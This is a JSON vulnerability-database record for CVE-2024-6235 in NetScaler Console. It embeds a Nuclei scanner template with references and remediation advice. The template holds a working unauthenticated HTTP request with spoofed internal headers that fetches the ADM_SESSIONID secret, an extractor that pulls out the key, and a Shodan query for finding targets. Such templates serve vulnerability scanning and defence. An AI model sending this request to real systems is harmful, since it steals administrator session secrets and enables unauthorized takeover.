{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-6235/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-6235/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-6235/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-6235/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-6235/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-6235"},"sightings":{"href":"/api/v1/sightings/cve-2024-6235"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-6235.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-6235\n\ninfo:\n  name: NetScaler Console - Sensitive Information Disclosure\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Sensitive information disclosure in NetScaler Console\n  impact: |\n    Attackers can access sensitive information including session secrets and administrative credentials from the NetScaler Console without proper authentication.\n  remediation: |\n    Apply the patches specified in Citrix advisory CTX677998 to address the information disclosure vulnerability in NetScaler Console.\n  reference:\n    - https://support.citrix.com/article/CTX677998\n    - https://attackerkb.com/topics/7zebEgmGLs/cve-2024-6235\n    - https://nvd.nist.gov/vuln/detail/cve-2024-6235\n  classification:\n    cve-id: CVE-2024-6235\n    cwe-id: CWE-287\n    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    epss-score: 0.21168\n    epss-percentile: 0.97479\n    cpe: cpe:2.3:a:citrix:netscaler_console:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: title:\"NetScaler Gateway\"\n  tags: cve,cve2024,netscaler,exposure,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /internal/v2/config/mps_secret/ADM_SESSIONID HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{RootURL}}/admin_ui/mas/ent/html/main.html\n        Content-Type: application/json\n        If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT\n        NITRO_WEB_APPLICATION: true\n        Tenant-Name: Owner\n        User-Name: nsroot\n        Mps-Internal-Request: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"mps_secret\":'\n          - 'ADM_SESSIONID'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: json\n        name: adm_sessionid_key\n        json:\n          - '.mps_secret[0].key_value'\n# digest: 490a0046304402203f1fdc77289754163e8b44530489281bc8624793993812ce5065c6c555cce0cd02206725e82375ef637b0a8338fd498f5fb8a62fcaf6a1cc0e14f0c0c8c613300e76:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-6235"}